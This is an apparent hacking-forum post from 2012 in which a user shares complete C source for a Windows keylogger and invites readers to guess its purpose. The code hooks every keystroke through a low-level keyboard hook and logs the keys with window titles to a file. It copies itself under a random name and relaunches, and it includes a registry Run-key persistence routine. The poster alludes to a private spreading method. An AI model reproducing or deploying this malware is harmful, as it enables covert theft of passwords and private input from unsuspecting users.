Quote (dos350 @ Jun 7 2012 01:47am)
the crypt was written in cpp and i think anyone who is interest in c mayb able 2 crack so i post here!
i wrote this in cpp as well. ill give anyone 1 guess as to what it does.
/fake edit: i would post zodiac but yea, dont feel like revealing my private spreading method lol.
main.c
Code
#include "includes.h"
int main(int argc, char** argv)
{
if(!Copy_File(argv[0]))
{
ExitProcess(0);
}
else
{
//if(!Create_Startup(argv[0]))
//{
// ExitProcess(0);
//}
}
HANDLE hThread;
DWORD dwThread;
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Logging_Thread, (LPVOID)argv[0], 0, &dwThread);
if(hThread)
{
return WaitForSingleObject(hThread, INFINITE);
}
else
{
return 1;
}
}
keyboardhook.h
Code
DWORD WINAPI Logging_Thread(LPVOID lParam);
__declspec(dllexport) LRESULT CALLBACK key_event(int ncCode, WPARAM wParam, LPARAM lParam);
void MsgLoop();
HHOOK hLogging;
char OldWindowTitle[260];
char NewWindowTitle[260];
keyboardhook.c
Code
#include "includes.h"
__declspec(dllexport) LRESULT CALLBACK key_event(int nCode, WPARAM wParam, LPARAM lParam)
{
if((nCode == HC_ACTION) && ((wParam == WM_KEYUP) || (wParam == WM_SYSKEYDOWN)))
{
KBDLLHOOKSTRUCT hHooked = *((KBDLLHOOKSTRUCT*)lParam);
BYTE KeyboardState[256] = {0};
char Text[256] = {0};
WORD result = 0;
GetKeyState(0);
GetKeyboardState(KeyboardState);
ToAsciiEx(hHooked.vkCode, hHooked.scanCode, KeyboardState, &result, hHooked.flags, 0);
if((char)result == '\r')
{
Text[0] = '\n';
}
else if ((char)result == '\b')
{
sprintf(Text, "%s", "[BACKSPACE]");
}
else
{
Text[0] = (char)result;
}
if(GetWindowText(GetForegroundWindow(), NewWindowTitle, 260) != 0)
{
if(strcmp(OldWindowTitle, NewWindowTitle) != 0)
{
strcpy(OldWindowTitle, NewWindowTitle);
char temp[260];
sprintf(temp, "\n\n%c%s%c\n", '[', OldWindowTitle, ']');
FILE *title;
title = fopen(LogFilePath, "a+");
fputs(temp, title);
fclose(title);
}
}
FILE *output;
output = fopen(LogFilePath, "a+");
fputs(Text, output);
fflush(output);
}
return CallNextHookEx(hLogging, nCode, wParam, lParam);
}
void MsgLoop()
{
MSG message;
while(GetMessage(&message, NULL, 0,0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
}
DWORD WINAPI Logging_Thread(LPVOID lParam)
{
HINSTANCE hApp = GetModuleHandle(NULL);
if(!hApp)
{
hApp = LoadLibrary((LPCSTR)lParam);
}
if(!hApp)
{
return 1;
}
hLogging = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)key_event, hApp, 0);
MsgLoop();
UnhookWindowsHookEx(hLogging);
return 0;
}
includes.h
Code
#define _WIN32_WINNT 0x0403
#define WIN32_LEAN_AND_MEAN
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <string.h>
#include <time.h>
#include "keyboardhook.h"
#include "functions.h"
#include "externs.h"
functions.h
Code
int Create_Startup(char *path);
int Copy_File(char *path);
functions.c
Code
#include "includes.h"
int Create_Startup(char *path)
{
HKEY hKey;
LONG result;
LPCSTR str = TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run");
result = RegCreateKeyEx(HKEY_LOCAL_MACHINE, str, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
if(result == ERROR_SUCCESS)
{
char *cPath = malloc(sizeof(char) * MAX_PATH);
sprintf(cPath, "\"%s\"", path);
LPCSTR value = TEXT(RegistryKeyName);
LPCSTR data = TEXT(cPath);
result = RegSetValueEx(hKey, value, 0, REG_SZ, (LPBYTE)data, (strlen(data)+1) * sizeof(TCHAR));
if(result == ERROR_SUCCESS)
{
result = RegCloseKey(hKey);
if(result == ERROR_SUCCESS)
{
return 1;
}
}
}
return 0;
}
int Copy_File(char *path)
{
/*
pSearch = strrchr(path, '\\');
pSearchEnd = strrchr(path, '\0');
pFileName = strncpy(pFileName, (pSearch + 1), (pSearchEnd - pSearch + 1));
*/
char *pSearch = strstr(path, DropPathKeyword);
if(pSearch != NULL)
{
printf("i am in sys32 dawg\n");
printf("%s", path);
return 1;
}
else
{
char pNewFileName[11] = {0};
char *pNewFileDestination = malloc(sizeof(char) * 260);
srand(time(NULL));
for(int i = 0; i < 10; i++)
{
pNewFileName[i] = 97 + rand() % 26;
}
sprintf(pNewFileDestination, "%s%s%s", DropPath, pNewFileName, ".exe");
LPCSTR ExistingFileName = TEXT(path);
LPCSTR NewFileName = TEXT(pNewFileDestination);
if(CopyFileEx(ExistingFileName, NewFileName, NULL, NULL, FALSE, COPY_FILE_FAIL_IF_EXISTS) != 0)
{
STARTUPINFO StartUp;
PROCESS_INFORMATION ProcessInfo;
ZeroMemory(&StartUp, sizeof(StartUp));
StartUp.cb = sizeof(StartUp);
ZeroMemory(&ProcessInfo, sizeof(ProcessInfo));
if(CreateProcess(NewFileName, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &StartUp, &ProcessInfo ))
{
return 0;
}
return 1;
}
}
return 0;
}
externs.c
Code
extern char LogFilePath[];
extern char DropPath[];
extern char RegistryKeyName[];
extern char DropPathKeyword[];
config.h
Code
char LogFilePath[] = "c:\\test\\keys.txt";
char DropPath[] = "c:\\test\\";
char RegistryKeyName[] = "keytest";
char DropPathKeyword[] = "test";